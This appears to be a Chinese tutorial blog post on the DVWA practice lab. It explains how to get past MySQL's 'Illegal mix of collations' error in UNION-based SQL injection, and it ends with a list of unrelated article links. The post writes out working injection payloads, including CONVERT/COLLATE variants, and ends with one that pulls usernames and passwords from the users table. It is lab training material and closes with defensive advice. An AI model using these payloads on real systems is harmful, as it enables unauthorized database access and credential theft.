当前位置: 首页 > news >正文

DVWA靶场实战:手把手解决SQL注入中‘Illegal mix of collations‘的UNION报错

DVWA靶场实战:手把手解决SQL注入中'Illegal mix of collations'的UNION报错

在渗透测试的学习过程中,DVWA(Damn Vulnerable Web Application)无疑是最受欢迎的靶场之一。它模拟了各种常见的Web安全漏洞,为初学者提供了绝佳的实践环境。然而,在实际操作中,尤其是进行SQL注入练习时,我们经常会遇到一些看似简单却令人困惑的错误。其中,Illegal mix of collations for operation 'UNION'就是一个典型的例子。

这个错误通常发生在使用UNION查询时,当两个表的字段排序规则(collation)不一致时,数据库会拒绝执行查询。对于刚接触SQL注入的新手来说,这可能会成为一个不小的障碍。本文将带你深入理解这个问题的本质,并提供两种切实可行的解决方案,让你在DVWA靶场中顺利突破这个障碍。

1. 理解排序规则(Collation)及其重要性

排序规则(Collation)是数据库中用于定义字符比较和排序方式的规则集。它决定了字符串如何被比较、排序以及处理大小写敏感等问题。在MySQL中,每个字符集(如utf8、latin1等)都有对应的多种排序规则。

常见的utf8排序规则包括:

  • utf8_general_ci:不区分大小写的通用排序规则
  • utf8_unicode_ci:基于Unicode标准的排序规则,更精确但性能稍低
  • utf8_bin:二进制比较,区分大小写

在DVWA靶场中,users表通常使用utf8_unicode_ci排序规则,而information_schema系统表则默认使用utf8_general_ci。这种差异正是导致UNION查询失败的根本原因。

提示:ci后缀表示"case insensitive"(不区分大小写),而bin表示二进制比较(区分大小写)

2. 诊断问题:如何确认排序规则不匹配

当你在DVWA的SQL注入模块中执行类似以下payload时遇到错误:

' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#

首先需要确认的是两边字段的排序规则是否一致。以下是诊断步骤:

2.1 查询users表的排序规则

SHOW CREATE TABLE users;

执行后会显示类似如下的结果:

CREATE TABLE `users` ( `user_id` int(11) NOT NULL AUTO_INCREMENT, `first_name` varchar(15) COLLATE utf8_unicode_ci DEFAULT NULL, `last_name` varchar(15) COLLATE utf8_unicode_ci DEFAULT NULL, ... ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci

从这里可以看到first_namelast_name字段使用的是utf8_unicode_ci排序规则。

2.2 查询information_schema.tables的排序规则

SHOW CREATE TABLE information_schema.tables;

由于information_schema是系统数据库,你可能无法直接查看其创建语句。但可以通过以下方式确认:

SHOW COLLATION WHERE Charset = 'utf8';

这会列出所有utf8字符集对应的排序规则。默认情况下,information_schema中的表使用utf8_general_ci

3. 解决方案一:修改靶场表结构

最直接的解决方案是将users表中的相关字段排序规则改为与information_schema一致。这种方法适合在靶场环境中使用,但不建议在生产环境中随意修改表结构。

3.1 修改字段排序规则

执行以下SQL命令:

ALTER TABLE users MODIFY first_name varchar(15) CHARACTER SET utf8 COLLATE utf8_general_ci; ALTER TABLE users MODIFY last_name varchar(15) CHARACTER SET utf8 COLLATE utf8_general_ci;

3.2 验证修改结果

再次执行SHOW CREATE TABLE users;确认修改已生效。然后重新尝试之前的UNION注入payload,应该可以正常执行了。

4. 解决方案二:调整注入Payload

如果你没有权限修改表结构,或者希望在保持靶场原始状态的情况下解决问题,可以调整注入Payload使其兼容不同的排序规则。

4.1 使用CONVERT或CAST函数

' union select CONVERT(table_schema USING utf8) COLLATE utf8_unicode_ci, CONVERT(table_name USING utf8) COLLATE utf8_unicode_ci from information_schema.tables where table_schema='dvwa'#

这个payload将information_schema中的字段转换为与users表相同的排序规则。

4.2 使用二进制比较

另一种方法是强制使用二进制比较:

' union select BINARY(table_schema), BINARY(table_name) from information_schema.tables where table_schema='dvwa'#

这种方法虽然能解决排序规则冲突,但会导致比较区分大小写。

5. 实战案例:完整注入流程

让我们通过一个完整的例子来演示如何在实际注入中处理排序规则问题。

5.1 初始探测

首先,我们确定注入点并测试字段数:

' order by 2#

确认有2个字段后,尝试UNION查询:

' union select 1,2#

如果遇到排序规则错误,我们进入诊断阶段。

5.2 诊断排序规则

' and 1=2 union select @@character_set_database, @@collation_database#

这会返回当前数据库的字符集和排序规则。

5.3 调整Payload

根据诊断结果调整查询:

' union select CONVERT(table_name USING utf8) COLLATE utf8_unicode_ci, CONVERT(table_type USING utf8) COLLATE utf8_unicode_ci from information_schema.tables where table_schema=database()#

5.4 获取敏感数据

最后,我们可以获取用户数据:

' union select CONVERT(user USING utf8) COLLATE utf8_unicode_ci, CONVERT(password USING utf8) COLLATE utf8_unicode_ci from users#

6. 预防与最佳实践

虽然本文主要解决靶场环境中的问题,但了解如何预防这类问题对开发安全的应用程序也很重要:

  • 数据库设计一致性:确保整个应用使用统一的字符集和排序规则
  • 参数化查询:始终使用预处理语句防止SQL注入
  • 错误处理:避免在生产环境中显示详细的数据库错误信息
  • 权限控制:限制数据库用户的权限,避免不必要的修改操作

在DVWA这样的学习环境中遇到Illegal mix of collations错误实际上是一个很好的学习机会。它不仅让你更深入地理解了SQL注入技术,还让你对MySQL的排序规则有了更清晰的认识。在实际渗透测试中,这种对细节的关注往往能帮助你发现和利用更复杂的漏洞。

http://www.jsqmd.com/news/809189/

相关文章:

  • GraphRAG实战:基于知识图谱与LLM的复杂信息检索系统构建指南
  • 3步构建个人知识库:微信读书笔记智能同步终极方案
  • 前后端分离贸易行业crm系统系统|SpringBoot+Vue+MyBatis+MySQL完整源码+部署教程
  • 引流设备哪家专业? - 中媒介
  • AI漫剧从造富到降温:政策监管、分成调整,未来还能赚钱吗?
  • 从Excel到Plink:手把手教你验证样本杂合度计算,告别手动统计的烦恼
  • 长沙靠谱猫狗店铺推荐:5家靠谱店铺实测 - 速递信息
  • 朔州CMA甲醛检测治理及公共卫生检测报告排行榜(2026版) - 张诗林资源库
  • 国内万物融投靠谱机构实测排行:合规与效率双维度 - 奔跑123
  • 学术人必抢的实时检索红利,Perplexity这4个隐藏功能90%研究者至今未启用,错过再等半年!
  • RISC-V新手避坑指南:Spike+PK和QEMU用户模式,运行你的第一个Hello World该选谁?
  • 博客园+河南AIAgent智能体课程哪里有?本地党必看!不踩坑指南来了 - 品牌测评鉴赏家
  • 铜陵CMA甲醛检测治理公司及洁净室公共卫生检测报告排行榜(2026版) - 张诗林资源库
  • 保姆级教程:在Ubuntu 20.04上用Realsense T265给PX4无人机做室内定位(避坑指南)
  • 2026国内办公服务实测封神!10款办公室设计装修/办公室维修改造/IFM行政外包服务/郑州办公室租赁/办公一体化服务服务商实力出众口碑佳 - 十大品牌榜
  • KLayout进阶实战:Cell嵌套与阵列布局的深度解析
  • PPP LCP:从报文交互到链路稳健性的深度解析
  • 免费LLM API资源全攻略:从开源模型到工程化实践
  • Clojure集成Llama.cpp:本地大模型推理与RAG系统实战
  • 2026农村自建房配套集装箱房科普及热门品牌解析 - 品牌种草官
  • 接口返回200,控制台可以打印返回数据,但是浏览器priview和response中都不显示返回结果,什么情况?
  • 2026草原沙漠深度人文旅游团建推荐:野趣内蒙非遗牧歌 - 佳天下国旅
  • 瑞萨e2studio实战:从零到一构建FSP开发环境
  • 3分钟掌握Cesium三维风场可视化:从零到专业的完整指南
  • 基于ASR与NLP的法庭音频智能分析系统:架构、微调与法律场景实践
  • 别再让头文件拖慢编译了!用C++ Pimpl模式给你的项目做个‘编译防火墙’
  • 熟食同行想升级烤鸭、铁板鸭口味,直接报名这家培训机构 - 品牌2026
  • 天虹购物卡线下回收VS线上回收:优势对比和推荐攻略 - 团团收购物卡回收
  • T90响应时间与传感器寿命:工业级可燃气体探测器硬核测评(含防爆与防护等级对比) - 品牌推荐大师1
  • 5分钟终极解决方案:Windows更新重置工具完整使用指南